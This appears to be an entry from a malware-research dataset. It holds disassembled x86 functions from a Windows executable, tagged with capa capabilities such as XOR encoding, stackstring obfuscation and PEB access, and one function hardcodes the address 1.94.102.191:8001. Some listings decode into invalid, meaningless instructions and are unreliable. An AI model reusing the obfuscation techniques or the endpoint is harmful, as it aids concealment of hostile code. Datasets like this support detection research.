joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4442f9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x514
push ebx
push ebp
push esi
push edi
mov ebp, ecx
or esi, 0xffffffff
mov dword [esp + 0x14], ebp
mov dword [ebp + 4], esi
xor ebx, ebx
mov dword [ebp], 0x447520
mov dword [esp + 0x52c], ebx
mov dword [ebp + 0x20], esi
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
lea ecx, [ebp + 0x28]
mov byte [esp + 0x544], 1
call fcn.0043f078
mov dword [ebp + 0x60], esi
push ebx
push ebx
push 1
push ebx
mov byte [ebp + 0x40], bl
mov byte [ebp + 0x41], bl
mov byte [ebp + 0x25], bl
mov dword [ebp + 0x3c], ebx
mov dword [ebp + 0x50], ebx
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0x866], bl
mov dword [ebp + 0xc], ebx
mov byte [ebp + 0x864], bl
mov byte [ebp + 0x865], bl
mov byte [ebp + 0x24], bl
call dword [0x4462e8]
mov dword [ebp + 0x20], eax
push str..CONFIG.ini
mov byte [ebp + 0x874], bl
mov ecx, 7
mov esi, str.1.94.102.191:8001
mov edi, 0x45b9c0
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0x104
mov ecx, 0x41
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
push 0x447078
push str.TEST_IP
push str.LOGIN
call dword [0x4462e4]
test eax, eax
je 0x4050db
mov edi, str.GERMANY
lea esi, [esp + 0x18]
mov ecx, 8
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x405035
mov edi, str.FRANCE
lea esi, [esp + 0x18]
mov ecx, 7
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x405035
mov edi, str.POLAND
lea esi, [esp + 0x18]
mov ecx, 7
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4050db
push 0x44741c
push str.UpdaterURL.txt
call fcn.00420efc
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x405065
push ebx
push str.Error
push str.Cant_Find_UpdaterURL.txt
push ebx
call dword [0x446638]
push ebx
call fcn.00420ceb
xor eax, eax
mov ecx, 0x80
lea edi, [esp + 0x120]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x120]
push eax
push 0x4470bc
push esi
call fcn.00420f0f
lea eax, [esp + 0x12c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405095
sub eax, edx
cmp eax, 1
jae 0x4050bb
push ebx
push str.Error
push str.Cant_Read_UpdaterURL.txt
push ebx
call dword [0x446638]
push ebx
call fcn.00420ceb
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x120]
mov byte [eax + 0x45b9c0], cl
inc eax
cmp cl, bl
jne 0x4050c0
push esi
call fcn.00420e4f
add esp, 4
mov ecx, dword [esp + 0x524]
pop edi
mov eax, ebp
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405940
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x444398
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov ecx, dword [esi]
mov esi, dword [ecx - 0xc]
push edx
push eax
push esi
push ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x28], edi
call fcn.004057d0
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.00405550
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x4059d2
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x40a2e0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 8
push esi
mov esi, ecx
mov ecx, dword [esi + 0x110]
call fcn.0040d890
test al, al
je 0x40a3a8
mov eax, dword [esi + 0x64]
test eax, eax
mov dword [esp + 4], 0
jbe 0x40a3a8
push ebx
push ebp
push edi
nop
mov eax, dword [esi + 0x1c]
mov ebp, dword [esi + 0x70]
mov ebx, dword [esp + 0x10]
mov edi, dword [esi + 0x14]
and eax, 0xfffd
or eax, 2
add ebp, ebx
mov bl, byte [ebp]
mov dword [esp + 0x14], eax
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov eax, dword [eax + ebx*4]
mov ebx, dword [esi + 0x18]
shr edi, 8
xor eax, edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], eax
and eax, 0xff
add eax, ebx
imul eax, eax, 0x8088405
inc eax
mov ebx, eax
mov dword [esi + 0x18], eax
shr ebx, 0x18
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov ecx, dword [eax + ebx*4]
mov eax, dword [esp + 0x14]
shr edi, 8
xor edi, ecx
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x10]
mov dword [esi + 0x1c], edi
mov bl, byte [ebp]
sar ecx, 8
xor bl, cl
mov byte [ebp], bl
mov ecx, dword [esi + 0x64]
inc eax
cmp eax, ecx
mov dword [esp + 0x10], eax
jb 0x40a310
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x40a3b0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x110]
call fcn.0040d890
test al, al
je 0x40a455
mov eax, dword [esp + 8]
push ebp
xor ebp, ebp
test eax, eax
jbe 0x40a454
push ebx
push edi
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x70]
mov bl, byte [eax + ebp]
and ecx, 0xfffd
or ecx, 2
mov edx, ecx
xor edx, 1
imul edx, ecx
add eax, ebp
sar edx, 8
xor bl, dl
mov byte [eax], bl
mov edi, dword [esi + 0x14]
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov eax, dword [eax + ebx*4]
shr edi, 8
xor eax, edi
mov edi, dword [esi + 0x18]
mov dword [esi + 0x14], eax
and eax, 0xff
add eax, edi
mov edi, dword [esi + 0x1c]
imul eax, eax, 0x8088405
inc eax
mov ebx, eax
mov dword [esi + 0x18], eax
shr ebx, 0x18
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov edx, dword [eax + ebx*4]
mov eax, dword [esp + 0x14]
shr edi, 8
xor edi, edx
inc ebp
cmp ebp, eax
mov dword [esi + 0x1c], edi
jb 0x40a3d7
pop edi
pop ebx
pop ebp
pop esi
ret 4

Function at 0x40a660
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
push esi
mov esi, ecx
mov eax, dword [esi + 0x10]
xor ebp, ebp
test eax, eax
mov dword [esi + 0x14], 0x12345678
mov dword [esi + 0x18], 0x23456789
mov dword [esi + 0x1c], 0x34567890
jbe 0x40a6e3
push ebx
push edi
mov eax, dword [esi + 0xc]
mov bl, byte [eax + ebp]
mov edi, dword [esi + 0x14]
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov eax, dword [eax + ebx*4]
shr edi, 8
xor eax, edi
mov edi, dword [esi + 0x18]
mov dword [esi + 0x14], eax
and eax, 0xff
add eax, edi
mov edi, dword [esi + 0x1c]
imul eax, eax, 0x8088405
inc eax
mov ebx, eax
mov dword [esi + 0x18], eax
shr ebx, 0x18
call fcn.0040f1f0
xor ebx, edi
and ebx, 0xff
mov edx, dword [eax + ebx*4]
shr edi, 8
xor edi, edx
mov dword [esi + 0x1c], edi
mov eax, dword [esi + 0x10]
inc ebp
cmp ebp, eax
jb 0x40a684
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x40a6f0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push 0xffffffffffffffff
push 0x444798
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push ebp
mov esi, ecx
push 0xc
lea ecx, [esp + 0x1c]
call fcn.0040be90
mov eax, dword [esp + 0x18]
push ebp
push 0xc
push eax
lea ecx, [esi + 0x78]
mov dword [esp + 0x34], ebp
call fcn.0040eea0
mov eax, dword [esi + 0x1c]
mov ecx, dword [esp + 0x18]
mov dl, byte [ecx + ebp]
mov edi, dword [esi + 0x14]
and eax, 0xfffd
or eax, 2
mov ebx, eax
xor ebx, 1
imul ebx, eax
sar ebx, 8
xor bl, dl
call fcn.0040f1f0
mov ecx, dword [esi + 0x18]
xor edx, edx
mov dl, bl
xor edx, edi
and edx, 0xff
mov eax, dword [eax + edx*4]
shr edi, 8
xor eax, edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], eax
and eax, 0xff
add eax, ecx
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x18], eax
shr eax, 0x18
mov byte [esp + 0x10], al
call fcn.0040f1f0
xor ecx, ecx
mov cl, byte [esp + 0x10]
xor ecx, edi
and ecx, 0xff
mov edx, dword [eax + ecx*4]
shr edi, 8
xor edi, edx
inc ebp
cmp ebp, 0xc
mov dword [esi + 0x1c], edi
jl 0x40a730
mov ecx, dword [esi + 0x110]
call fcn.0040d8a0
test al, al
mov esi, dword [esi + 0x110]
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xffffffff
je 0x40a7d6
mov al, byte [esi + 0x11]
jmp 0x40a7d9
mov al, byte [esi + 0x17]
cmp al, bl
sete bl
call fcn.0040bec0
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x40f270
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x40f27f
xor eax, eax
pop esi
ret 0xc
mov eax, dword [0x458258]
test eax, eax
je 0x40f28d
call fcn.0040f210
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
cmp edx, 8
push ebx
not eax
jb 0x40f38f
push edi
mov edi, edx
shr edi, 3
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [ecx*4 + 0x45e674]
sub edx, 8
xor eax, ebx
inc esi
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x45e674]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x45e674]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x45e674]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x45e674]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x45e674]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x45e674]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
shr eax, 8
mov ecx, dword [ecx*4 + 0x45e674]
xor eax, ecx
inc esi
dec edi
jne 0x40f2a7
pop edi
test edx, edx
je 0x40f3b1
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
shr eax, 8
mov ecx, dword [ecx*4 + 0x45e674]
xor eax, ecx
inc esi
dec edx
jne 0x40f393
pop ebx
pop esi
not eax
ret 0xc
Function at 0x4228eb
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x44d520
call fcn.004233a4
mov edi, 0x94
mov eax, edi
call fcn.00420190
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [0x446350]
mov ecx, dword [esi + 0x10]
mov dword [0x460a8c], ecx
mov eax, dword [esi + 4]
mov dword [0x460a98], eax
mov edx, dword [esi + 8]
mov dword [0x460a9c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x460a90], esi
cmp ecx, 2
je 0x42294b
or esi, 0x8000
mov dword [0x460a90], esi
shl eax, 8
add eax, edx
mov dword [0x460a94], eax
xor esi, esi
push esi
mov edi, dword [0x4462a8]
call edi
cmp word [eax], 0x5a4d
jne 0x422986
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x422986
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x42299e
cmp eax, 0x20b
je 0x42298b
mov dword [ebp - 0x1c], esi
jmp 0x4229b2
cmp dword [ecx + 0x84], 0xe
jbe 0x422986
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4229ac
cmp dword [ecx + 0x74], 0xe
jbe 0x422986
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00426092
pop ecx
test eax, eax
jne 0x4229c6
push 0x1c
call fcn.004228c7
pop ecx
call fcn.004258cb
test eax, eax
jne 0x4229d7
push 0x10
call fcn.004228c7
pop ecx
call fcn.00427b74
mov dword [ebp - 4], esi
call fcn.004291d8
test eax, eax
jge 0x4229f0
push 0x1b
call fcn.004228a2
pop ecx
call dword [0x446178]
mov dword [0x462360], eax
call fcn.0042ae25
mov dword [0x460ad4], eax
call fcn.0042ad83
test eax, eax
jge 0x422a16
push 8
call fcn.004228a2
pop ecx
call fcn.0042ab50
test eax, eax
jge 0x422a27
push 9
call fcn.004228a2
pop ecx
push 1
call fcn.00420bbe
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x422a3d
push eax
call fcn.004228a2
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [0x446174]
call fcn.0042aaf3
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x422a5e
movzx eax, word [ebp - 0x40]
jmp 0x422a61
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.0042e4df
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x422a7f
push edi
call fcn.00420ceb
call fcn.00420d0d
jmp 0x422ab1
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.004233df
ret
Function at 0x426c21
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x426c4f
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x426c56
cmp ebx, dword [eax + 4]
jae 0x426c56
xor eax, eax
jmp 0x426e46
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x426c67
xor eax, eax
inc eax
jmp 0x426e45
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x426c7d
cmp ecx, edx
jae 0x426dc2
cmp dword [eax + 4], 0
je 0x426c86
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x426c6e
cmp dword [ebp + 8], 0
je 0x426ca8
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x426dc2
cmp eax, esi
jae 0x426dc2
mov eax, dword [0x460c50]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x426ccd
cmp dword [esi*4 + 0x460c58], edi
je 0x426dc6
inc esi
cmp esi, eax
jl 0x426cbb
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x446154]
test eax, eax
je 0x426e42
cmp dword [ebp - 8], 0x1000000
jne 0x426e42
test byte [ebp - 0xc], 0xcc
je 0x426d4b
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x426e42
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x426e42
cmp word [eax + 0x18], 0x10b
jne 0x426e42
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x426e42
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x426d4b
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x426d4b
test byte [ecx + 0x27], 0x80
jne 0x426dc2
push 1
push 0x460c98
call dword [0x446360]
test eax, eax
jne 0x426c5f
mov ecx, dword [0x460c50]
test ecx, ecx
mov edx, ecx
jle 0x426d7f
lea eax, [ecx*4 + 0x460c54]
cmp dword [eax], edi
je 0x426d7f
dec edx
sub eax, 4
test edx, edx
jg 0x426d73
test edx, edx
jne 0x426db0
push 0xf
pop ebx
cmp ecx, ebx
jg 0x426d8c
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x426da4
lea eax, [edx*4 + 0x460c58]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x426d92
cmp ecx, 0x10
jge 0x426db0
inc ecx
mov dword [0x460c50], ecx
push 0
push 0x460c98
call dword [0x446360]
jmp 0x426c5f
xor eax, eax
jmp 0x426e45
test esi, esi
jle 0x426c5f
mov ebx, dword [0x446360]
push 1
push 0x460c98
call ebx
test eax, eax
jne 0x426c5f
cmp dword [esi*4 + 0x460c58], edi
je 0x426e1c
mov eax, dword [0x460c50]
lea esi, [eax - 1]
test esi, esi
jl 0x426e0a
cmp dword [esi*4 + 0x460c58], edi
je 0x426e06
dec esi
jns 0x426dfa
test esi, esi
jge 0x426e1a
cmp eax, 0x10
jge 0x426e15
inc eax
mov dword [0x460c50], eax
lea esi, [eax - 1]
jmp 0x426e1c
je 0x426e34
xor ecx, ecx
test esi, esi
jl 0x426e34
lea eax, [ecx*4 + 0x460c58]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x426e22
push 0
push 0x460c98
call ebx
jmp 0x426c5f
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43f77d
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags

Disassembly:
mov eax, 0x4452b8
call fcn.00422b00
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0043793a
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
xor edi, edi
mov ecx, ebx
mov dword [ebp - 4], edi
mov dword [esi], vtable.CInternetFile.0
mov dword [esi + 0x1c], eax
call fcn.004037c0
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
call fcn.004039e0
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.004039e0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x18], eax
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x408a0a
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x4089a2
cmp dword [eax + 0xc], ebx
je 0x408a45
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.004083fd
mov bh, 0x39
and esp, dword [esi + 0x750c5d39]
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x408a33
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x408a0e
and eax, 0xffff
push eax
jmp 0x408a12
add byte [eax - 0x15], dl
add al, 0x83
rol dword [edx], 0x51
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004083c2
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x408bec
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x4089f3
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x408994
call fcn.004083fd
pop ecx
push ecx
stosd dword es:[edi], eax
mov eax, dword ss:[edi + 0xa0]
cmp eax, ebx
je 0x408ab1
add eax, esi

Function at 0x408a92
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x408ab1
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x408aac
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x408a96
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x408a9e
cmp edx, ebx
jne 0x408bec
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x408a6d
add eax, dword [eax + 4]
jmp 0x408a5a
mov dword [ebp + 0xc], ebx
jmp 0x408abc

Function at 0x408b3a
Capabilities:
Inspect section memory permissions

Disassembly:
or byte [ebx - 0x2cc4e7b3], 0x74
add al, 0x80
or al, 8
add dword [ecx], edi
pop ebp
or byte [esp + eax - 0x80], dh
je 0x408b40
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x408b4a
add ecx, eax
or byte [ecx], 4

Function at 0x408c8f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esi + 0x25fffffc], edi
lea eax, [ebp - 0x354]
push eax
call fcn.0040840d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004083c2
add esp, 0xc
mov dword [ebp - 0x68c], eax
Function at 0x408cd4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040840d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004083c2
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040840d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004083c2
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.004083fd
mov bh, 0x7f
arpl bx, si
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0040840d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004083c2
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.004083fd
push es
iretd

Function at 0x409852
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stosb byte es:[edi], al
call fcn.004083fd
mov al, 0xc
mov ebp, edx
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
invalid
test esi, edx
clc
invalid
invalid